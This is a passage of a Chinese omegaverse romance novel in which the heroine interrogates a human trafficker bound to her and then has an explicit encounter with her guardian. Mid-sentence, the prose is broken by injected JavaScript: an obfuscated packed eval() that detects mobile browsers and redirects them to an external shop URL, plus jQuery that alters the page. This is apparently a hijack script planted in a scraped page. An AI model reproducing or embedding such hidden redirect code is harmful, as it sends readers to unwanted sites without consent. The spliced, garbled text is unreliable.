清晨的雾气从温泉水面升起来,薄薄一层。萧岳站在月洞门外,手里托着一只金属匣子。
“沈小姐,殿下让我折返转交给您的。”
匣子里躺着一片冷银色的密钥,薄如蝉翼,蚀刻着皇室图书馆的标识。
她捏起来,金属在她指间泛着哑光。
密钥下方压着一张三折的卡片,纸边被反复折过,折痕发白。
她展开。
字迹清峻,每一笔都收得利落:
“给你皇室图书馆地下层七区密钥,2590年索引已标红。方便你写论文。
我想你了。”
她脸一红,快速折回原状,指腹在折痕上停了一瞬,感受着纸张被反复折叠又展开后的柔软。
这周末有空的话,可以去图书馆。
“他好吗?”她抬眼看萧岳。
“殿下今早发了两次测试讯号。”萧岳退后半步,“一切正常。您可以直接跟他全息通话。”
午休时间,中央军校后门的一条街道。顾铭远的悬浮车缩在最边缘建筑阴影里。
车门滑开,烟草臭味涌出来,浓得呛人——那是放纵信息素长期浸染皮革后发酵出的酸腐,混杂着香水的残余,像一口闷了太久的烟缸被掀开盖子。
沈知意皱眉坐了进去:“下次换台新车。”
顾铭远已经单膝跪地,脊背弓成一道被压弯的弧线迎接她。她感到蜂鸟的纹路在他后颈皮下跳动。
“抬头。”
他抬起来。那张曾经飞扬跋扈的脸此刻被恐惧和某种更黏稠的东西搅成一团——瞳孔放得太大了,像溺水的人看见了浮木,又像被绳索勒住喉咙的野兽在最后一刻闻到了主人的气息。
Alpha本能还在反抗,但反抗本身已经被快感浸透了,每一次挣扎都变成更深的沉溺。
“宴会邀请函,谁给你的?”
“……母亲。”他声音嘶哑,“她托了林议员家的管家,两块星髓晶换的入场函。我二十八了,家里着急——想让我找个优质Omega婚配。”
沈知意先问了他知道答案的问题,他答得快,几乎没有停顿。她又问:“你那天喝了多少?”
“白兰地,喝了……大半瓶。”他咽了一口唾沫,“不知道怎么就昏了头。”
“大半瓶对你来说算不算多?”
“……不算,我平时可以喝两瓶。”他顿了一下,“我回想……应该那天侍者端来的酒有问题。”
“谁递给你的?”
“短发,男Beta,托盘只有那杯酒了。”他答得快,眼睛没有偏移,这是真话。
“你是怎么知道我?……那天你为什么盯上我?”
他嘴唇动了一下,目光不受控制地往她脸上滑了半寸,然后猛地收回来——像被烫了一下。
“我看到你站在走廊,手按着后颈在揉……我整个人就糊涂了。”
沈知意怒了:“我按着后脖子你就糊涂了?你还敢撒谎?!”
他咽了一口唾沫,声音变得粗粝,目光黏在她腰线上不敢抬起来:“在Alpha眼里,那等于当众□□,把腺体露出来,在喊快来…操…”
沈知意的手指猛的攥紧了。指甲陷进掌心,疼,但她需要这个疼来坐稳。
她脑子一片混乱——当众□□?她只是想关窗,想压下腺体的震颤。在原来世界,按后颈的动作和按额头差不多,连“不雅”都算不上。
可顾铭远的眼神——
她忽然想起穿书前刷过的短视频。中国女留学生在国外对着热心帮忙的邻居少年喊“Good boy”,对方红着脸仓皇逃跑“…You shouldn’t say that here.”
另一个在聚会上说“I‘m coming”,满屋子的人突然安静。
当时她看到网友解释后笑得打滚,觉得那些文化差异搞笑又尴尬。
现在那些笑全变成了冷的巴掌,扇在她脸上。
她以为的“正常动作”,在这个世界是“公开性邀请。”
她想起307室精神安抚室,第一次跟太子见面在他面前捂着后脖子的腺体,想起好多次在教室、功能室无意识按压后脖子缓解颈椎疲劳……
妈的,她真恨自己记忆太好!
她没有在脸上露出任何窘迫,十指交握捂紧膝盖,然后倾身,声音比刚才冷了一度:
“你以前做过多少次强制标记?”
沉默。
她把问题重复了一遍,把“做过多少次”改成“几十次还是几百次”。
“……几十次。”他终于承认,肩膀塌下去,像一堵墙被人从地基处抽走了承重柱。
“不用说了。”她说,“我直接看。放开精神图景,闭上眼。”
精神力沿着蜂鸟的连线探入他敞开的精神图景。线头落进去的瞬间,顾铭远猛地弓起背,喘息声变得尖锐——恐惧和快感搅成一团,从脊椎末端炸开,他甚至下意识往前蹭了半寸,嘴唇贴近她的鞋,仿佛在追寻致命的源头。
她厌恶地“看”到了他记忆的气味和触感:会所放浪的笑声……白花花交错的身体……走私舰货舱的铁锈腥气……异国Omega蜷缩在运输笼角落里急促的喘息……他打人后的狂笑——她的精神力沿着这些气味滑过去,像翻开一本沾满污渍腌臜的账簿。
她退出来时,顾铭远已经瘫下,额头抵着地面,肩膀还在细微地颤抖。
“所有人口贩卖,从今天起全部停掉。”
他的呼吸顿了顿。
“改做废旧机甲回收和食物运输。你现有的走私航线不用改。在红砂星近地点新设一个中转站,名义是维修补给。囤食物和物资——引擎零件、医疗舱、保温维生设备。”
剧情中盛炽野失踪一个月后,军部撤离红砂星,连同所有居民也大撤离了。直到五个月后一架偏离航线的星舰故障,临时停靠星港,为了找修补零件冒险登陆红砂星,机缘巧合找到了重伤昏迷的盛炽野。
这次她必须提前做好准备。
“是。”
他颤抖着臣服。
下午的课结束时天已经暗了。
沈淮的车停在老位置。
“乖乖今天累不累?”
“还好。”她把书包放在脚边。
“乖乖今天怎么换了一套校服?”
“实训室,出汗了。”
悬浮车升空,驶入晚高峰的车流。
“今晚回庄园住吧。”他说,金丝镜链随着他转头的动作晃了一下,“温泉别苑那边……太子外出了,你住着,我不放心。”
她感觉到车厢里的橙花柠檬浓了一度。
“我喜欢院子,每天泡温泉更方便。”她说,声音放得软,“离学校也近。而且……”她偏过头看他,杏眼微垂,“萧队长说附近加了巡逻,挺安全的。”
沈淮沉默了。
傍晚议长专属悬浮车滑入皇室温泉别苑时,夕阳正卡在两座山脊之间,把整片院子烧成暗金色。
沈淮下车,微笑着牵手带她走进院子——好像他是这里的主宰。
门在身后合拢,发出极轻的咔嗒声。
“你情绪波动太大,很难受吗?”他说,声音比平时还温柔。
橙花柠檬在密闭空间里铺开了,压抑很久后终于释放出的浓烈气息,像一整片花田在黄昏里被碾碎,汁液浸透了每一寸空气。
他的手解开她衣领,滑到后颈,指腹抵着腺体贴边缘,慢条斯理地揭下来。
青草味的贴片离开皮肤的瞬间,无花果的甜香从下面渗出来,被橙花柠檬迎面裹住。
两股味道在狭小的空间里绞缠,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795956|208280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像两种液体倒入同一个杯子,搅散了边界。
沈淮垂下头,额头抵着她的额,呼吸滚烫地落在她鼻尖上,声音沙哑:“乖乖。”
他的金丝镜链垂下来,冰凉的金属末端蹭过她的锁骨,激起一层细密的战栗。
他的拇指摩挲着她后颈的皮肤,力道不重,但每一下都精准地碾在腺体旁边的神经末梢上。
“你现在身体里的橙花在变淡。”他说,“淡得太快了。”
沈知意闭上眼不说话。
他的信息素从指腹底下渗进来,带着标记意图的橙花信息素顺着她的腺体通道往深处推进——温柔、不容拒绝、像温水灌进细窄的瓶口。
她的身体在回应。
被深度标记过的Omega,连抗拒的念头都被生理反应融化掉了。无花果信息素从百叶窗缝隙里渗出来,软塌塌地缠上他的橙花。
她感觉到他的呼吸在头顶上方顿了一瞬,然后加重了。
他把她按进了床垫里。
橙花柠檬盖下来,像一整片花瓣雨倾覆。她被裹在里面,呼吸被一寸一寸替换成他的味道,后颈的腺体在发烫——身体在无耻贪婪地接收,吞咽着索取更多,明明昨天晚上它还在被太子取悦沉溺。
她故意释放更多信息素,在他快要最极致沉迷瞬间,她右手腕蜂鸟的纹路从皮肤下浮出来,淡金色,细微到几乎看不见。
她的手指颤抖着摩挲,顺着他的脊背滑到他后颈,指腹贴着他腺体上方的皮肤,轻轻按下去。
精神力裹着针尖刺向他后颈——极轻、极细,像一条蚕丝贴着皮肤滑下去。
针尖撞上合金壁垒,发出一声极高频的、几乎听不见的金属嘶鸣,整条精神链接在皮下剧烈震颤,像琴弦在断裂前最后一秒的哀鸣。
就在蜂鸟被弹开的同时,他后颈的肌肉收缩了一下,周身的橙花柠檬原来那层温吞的沉降骤然凝固,像花田里所有汁液同时倒流回根茎,甜被抽空,涩味漫上来,带着被冒犯后的凛冽。
他非常警觉。
沈知意的心脏从胸腔里弹起,怦怦撞上肋骨。肾上腺素涌出来,压过了一切。
他偏过头,嘴唇贴着她的耳廓,气息喷在她脆弱的耳垂。声音低哑,带着情欲未退的沙哑和一丝怀疑:
“乖乖,你在摸我的什么地方?”
她惊慌失措,胡乱牵起他的一只手,拉到自己后颈,把他的掌心贴在自己发烫的腺体上。
“……想让你摸摸这里。”她声音软得像化开的蜜,带着余韵未退的颤音,“你摸这里的时候,我好舒服……”
沈淮的呼吸明显停了,他的手掌贴着她的后颈,掌心下的腺体在突突跳动。
无花果的甜香缠着他的手腕,软塌塌,毫无保留,像被摸顺了毛的猫翻出肚皮。
他的瞳孔在那一瞬间放大了。金丝镜链剧烈晃动了一下,然后彻底静止了。
他低头看着她,她还仰起头,杏眼湿漉漉,声音娇滴滴……
那双桃花眼里涌上来什么东西,她从未见过。不是温柔,不是算计,不是掌控者欣赏猎物进笼的愉悦——那是某种更深层、他压了太久的东西,从裂缝里翻上来了。
他右手在她后颈上缓缓收紧了,指腹微微发抖。用力抱紧她,低下头,把脸埋进她颈窝,嘴唇贴着她跳动的脉搏,声音闷在她皮肤上:
“……乖乖,我的乖乖。”
像从胸腔最深处挤出来的。
沈知意感觉到他的心跳,狂乱地撞过来,快得不正常。
她闭上眼。
蜂鸟蛰伏在腕骨深处,金属的凉意从皮下渗进血管。
她的身体还在被他的橙花柠檬浸泡,呼吸、血液、腺体——每一寸都在回应他。
他的心跳,在她掌心底下,跳得像第一次被心上人触碰的少年。